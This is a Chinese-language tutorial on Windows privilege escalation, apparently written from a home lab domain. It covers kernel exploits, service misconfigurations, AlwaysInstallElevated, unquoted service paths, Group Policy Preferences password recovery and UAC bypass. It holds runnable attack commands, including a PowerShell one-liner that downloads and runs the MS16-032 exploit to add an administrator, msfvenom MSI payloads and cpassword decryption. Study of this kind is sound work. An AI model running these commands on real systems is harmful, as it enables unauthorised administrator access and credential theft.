前言
windows中的权限大质分成:User,Administrator,System
,还有一个TrustedInstaller
,最后一种基本不涉及。
之所以需要权限提升,这是因为有些操作是需要administrator权限才能做到的
,比如我们可以通过令牌窃取等将administrator
的权限提升至System
权限,以便Dumphash等
纵向提权
:低权限角色获得高权限角色的权限。
横向提权
:获取同级别角色的权限。
常见的提权方法:系统内核溢出漏洞提权,数据库提权,错误的系统配置提权,组策略首选提权,web中间件漏洞提权,DLL劫持提权,滥用高权限令牌提权,第三方服务提权
以及bypassUAC
参考:《内网安全攻防》
所用域环境:c0okb.org,其中有一台机子借由vulnstack2的WEB服务器
提权框架PowerUp使用参考:http://www.vuln.cn/6436
系统内核溢出漏洞提权
攻击者利用该漏洞的关键是目标系统没有及时安装补丁,攻击者通过该漏洞进行内核溢出提权。该提权方法的关键点就是要找到系统中未及时安装补丁的漏洞。
手动执行命令发现缺失补丁
在获得shell后,输入whoami /groups
,查看当前用户的权限
如果是administrator
,那么查看结果如下:
如果是一般的域内用户
那么查看结果如下:
所以提权的目的就是将用户的权限从普通用户提升到管理员权限
,也就是从Medium Mandatory Level
提升到Hig Mandatory Level
执行命令
1 | systeminfo |
MS16-032
漏洞的补丁编号为KB3139914
,那么在这里就存在这个漏洞,我们可以通过该漏洞进行提权。通过这个漏洞,我们可以执行任意程序。
1 | -> . .\Invoke-MS16-032.ps1 |
接着执行
1 | -> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net localgroup administrators test2 /add" |
1 | net user test2 |
可以看到test2
的权限已经提升到管理员权限。
同样我们也可以通过powershell远程下载,一句话执行
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators zhuzhuxia /add'" |
参考:MS16-032漏洞利用
利用msf发现缺失补丁
利用msf中的模块:post/windows/gather/enum_patches
参考:后渗透(三)信息收集
Windows Exploit Suggester
这个工具会将系统中已经安装好的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息
使用systeminfo获得当前系统的补丁安装情况,并将补丁信息导入到patches.txt文件中
更新安全公告数据库
安装xlrd模块
执行命令,检查系统中是否存在未修复的漏洞
1 | sudo pyton2 windows-exploit-suggester.py -d 2020-08-08-mssb.xls -i patches.txt |
可以看到系统中存在MS16-135
,MS16-098
等漏洞,需要及时修复,攻击者只要利用这些漏洞。就能获取目标系统的System权限。
Powershell中的Shelllock脚本
该脚本可以快速找到可能用于本地权限提升的漏洞
通过msf将该脚本上传
1 | upload '/home/kali/tool/Sherlock/Sherlock.ps1' 'C:\\Users\test\DesktopSherlock.ps1' |
然后执行该脚本
效果和Windows Exploit Suggester差不多,个人认为还是Windows Exploit Suggester更好用一些。
Windows操作系统配置错误利用
在windows系统中,如果遇到无法通过系统内核溢出漏洞提取所在服务器权限的情况,就会利用系统中的配置错误来提权
windows中常见的配置错误包括管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等。
系统服务权限配置错误
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件
如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限
Windows服务是以System权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统还是存在一些没有得到有效保护的服务
1 | 系统服务权限配置错误有如下两种情况: |
Powershell提权框架-PowerUp
此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
参考:Powershell 提权框架-Powerup – Evi1cg
1 | powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks | Out-File -Encoding ASCII check.txt}" |
将测试结果保存在check.txt
1 | download 'C:\\Users\test\Desktop\check.txt' '/home/kali/tool/check.txt' |
可以看出,PowerUp列出了可能存在问题的所有服务,并在AbuseFunction部分直接给出了利用方式。
除此之外,在msf中也有执行powershell的模块
Metasploit中的service_permissions模块
在Metasploit中,对应的利用模块是service_permissions
,选择AGGRESSIVE
选项,可以利用目标机器上每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后将会停止工作。
可以看到在此时通过该模块对获得session进行提权处理,获得了SYSTEM权限。
1 | service_permissons模块使用两种方法获得System权限: |
注册表键值AlwaysInstallElevated
注册键AlwaysInstallElevated
是一个策略设置项。Windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM
权限来安装恶意的MSI(Microsoft Windows Installer)
文件。
Windows Installer的相关知识
Windows Installer 是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序,还用于管理软件的安装,管理软件组件的添加和删除,监视文件的还原,通过回滚进行灾难恢复等。
Windows Installer 分为客户端安装服务(Msiexec.exe)
和MSI文件
两部分,它们是一起工作的。Windows Installer通过Msiexec.exe
安装MSI
文件包含的程序。
MSI
文件是Windows Installer的数据包,它实际上包含是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。
Msiexec.exe
用于安装MSI
文件,一般在运行Micosoft Update
安装更新或者安装一些软件时使用。
PathAlwaysInstallElevated漏洞产生的原因
该漏洞产生的原因是用户开启了Windows Installer特权安装功能
组策略编辑器:gpedit.msc
注册表编辑器:regedit
启用这两个设置
PowerUp提权框架测试
使用PowerUp
的Get-RegistryAlwaysInstallElevated
模块来检查注册表键是否被设置。
如果AlwaysInstallElevated
注册键已经被设置,就意味着MSI
文件是以System
权限运行的。运行该模块的命令如下,”True”表示已经设置。
1 | powershell.exe -exec bypass IEX (NEW-Object Net.WebClient).DownloadString('c:\\Users\test\Desktop\PowerUp.ps1'); Get-RegistryAlwaysInstallElevated |
或者
然后运行Write-UserAddMSI
模块,生成一个MSI文件
运行MSI
文件,就会添加一个管理员账户
1 | msiexec /q /i UserAdd.msi |
除此之外,我们还能通过msfvenom
来生成木马,配合meterpreter使用
1 | msfvenom -f msi -p windows/adduser USER=wu13dog PASS=1qaz@WSX -o /home/kali/tool/Userdog.msi |
执行命令:
1 | msiexec /quiet /qn /i Userdog.msi |
msf下也有自动化的模块供我们提权使用
1 | exploit/windows/local/always_install_elevated |
使用起来比较简单,详情参考:https://www.cnblogs.com/-qing-/p/10557520.html
PS:防止MSI文件提权,就是禁用注册表AlwaysInstallElevated
可信任服务路径漏洞
可信任服务路径漏洞(包含空格且没有引号的路径)利用了Windows文件路径解析的特性,并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务是有漏洞的。
该漏洞存在如下两种可能。
1 | 如果路径和服务有关,就任意创建一个服务或编译Service模块 |
Trusted Service Paths 漏洞产生的原因
因为Windows服务通常都是以System权限运行的,所以系统解析服务所对应的文件路径中的空格时,也会以系统权限进行。
这个漏洞也是开发者在开发时,没有注意到的问题
参考:https://www.cnblogs.com/sevck/p/8488469.html
例如,有一个文件路径"C:\Program Files\Some Floder\Service.exe"
。对于该路径中的每个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有情况进行尝试,直至找到一个能够匹配的程序。
1 | C:\Program |
因此,如果一个被”适当”命名的可执行程序被上传到受影响的目录中,服务一旦重启,绝大多数情况下,该程序就会以System权限运行。
执行如下命令检测系统中是否存在该漏洞
1 | wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ |
我的这台机器没有这个漏洞,所以有点尴尬,这里写一下这个漏洞的利用方式。
检测完是否存在此漏洞后,检测是否对目标文件夹有写权限,需要目标文件夹的权限是Everyone:(OI)(CI)(F)
检测方式:icacls 目标文件夹路径
像上图这样。
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务
1 | sc stop service_name |
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中有一些可能包含本地管理员账号和密码等信息。
对于该漏洞使用msf的利用模块post/windows/gather/enum_unattend
计划时间
可以使用如下命令查看计算机的计划任务
1 | schtasks /query /fo LIST /v |
AccessChk
用于进行一些系统或程序中的高级查询,管理和故障排除工作。
执行如下命令,查看指定目录的权限配置情况。
1 | accesschk.exe -dqv "C:\Microsoft" -accepteula |
如果攻击者以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样在下次计划任务执行时,就会以高权限来运行恶意程序。
AccessChk
是SysInterals
工具包里的工具,下面是几个常见的AccessChk
命令
第一次运行SysInternals
工具包里的工具时,需要许可,使用如下命令,自动接受许可
1 | accesschk.exe /accepteula |
列出某驱动器下所有权限配置有缺陷的文件夹
1 | accesschk.exe -uwdqsUsersc:\ |
列出某驱动器下所有权限配置有缺陷的文件
1 | accesschk.exe -uwdqsUsersc:\*.* |
Empire内置模块
外话:安装Empire时,出现了一些问题,在此列出
1 | 选择安装使用Empire3.0 |
Empire3.0
:https://github.com/BC-SECURITY/Empire/
Empire使用参考:https://www.secpulse.com/archives/73766.html
组策略首选项提权
组策略首选项提权简介
SYSVOL是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本,组策略数据以及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的范围内共享。
整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies
目录中
在一般的域环境中,所有机器都是脚本批量部署的,数据量通常很大。为了方便对所欲的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户进行登录验证。为了本地管理员密码的安全性,这些组织通常会修改本地管理员的密码
尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
常见的组策略首选项(Group Policy Preferences,GPP)
1 | 映射驱动器(Drives.xml) |
关于组策略首选项的了解,参考:https://blog.csdn.net/allway2/article/details/104101337
组策略首选项提权分析
参考文章:https://blog.csdn.net/qq_36119192/article/details/104344105
创建组策略,批量修改域中机器的本地管理员密码
在Group Policy Management Editor
中打开计算机配置界面,新建一个组策略,更新本地计算机中用户的组策略首选项密码。
1 | 在域控上执行:开始——>运行——>输入 gpmc.msc ——>选择c0okb.org——>右键组策略对象——>新建 |
1 | 右键刚刚新建的组策略,编辑,会弹出一个组策略管理编辑器 |
1 | 计算机配置——>首选项——>控制面板设置——>本地用户和组 |
将域中每个计算机的本地administrator
用户更名为BossBoy
….,并设置新的密码为1qaz@WSX
.
然后将Domain Computers添加到组策略应用的组中.
1 | 强制更新组策略 |
获取组策略的凭据
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。可通过在SYSVOL中搜索,可以找到Groups.xml文件。
手动查找cpassword
通过详细信息中的唯一id定位
使用脚本解密就好了
1 | # gppdecrypto.rb |
使用PowerShell获取cpassword
PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到
1 | Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword |
使用msf获取cpassword
1 | use post/windows/gather/credentials/gpp |
组策略首选项提权防范
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
- 设置共享文件夹SYSVOL的访问权限
- 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
- 不要把密码放在所有域用户都有权访问的文件中
- 如果需要更改域中机器的本地管理员密码,建议使用LAPS
绕过UAC提权
果然计算机的操作系统版本是Windows Vista或者更高
,在权限不够的情况下,访问系统磁盘的根目录(例如:C:\)、Windows目录、Program Files目录,以及读、写系统登陆数据库(Registry)的程序等操作,都需要经过UAC(User Account Control,用户账户控制)的认证才能进行。
关于UAC的介绍参考:https://baijiahao.baidu.com/s?id=1631436227483974075&wfr=spider&for=pc
绕过UAC提权的方法
MSF的bypassuac模块
1 | exploit/windows/local/bypassuac |
使用这个模块的前提是我们已经获得了一个用户的meterpreter Shell
,并且该用户在管理员组中,且UAC必须为默认设置
使用该模块
执行
提升权限
MSF的RunAs模块
1 | exploit/windows/local/ask |
使用RunAs模块,进行提权,当前用户必须在管理员组中或者知道管理员的密码,对UAC的设置则没有要求。在使用RunAs模块时,需要使用EXE::customs选项创建一个可执行文件(需要进行免杀处理)
在输入run之后,在目标机器上会弹出UAC对话框,需要单击”是”
另外还有Empire的bypassuac模块,以及bypassuac_wscript模块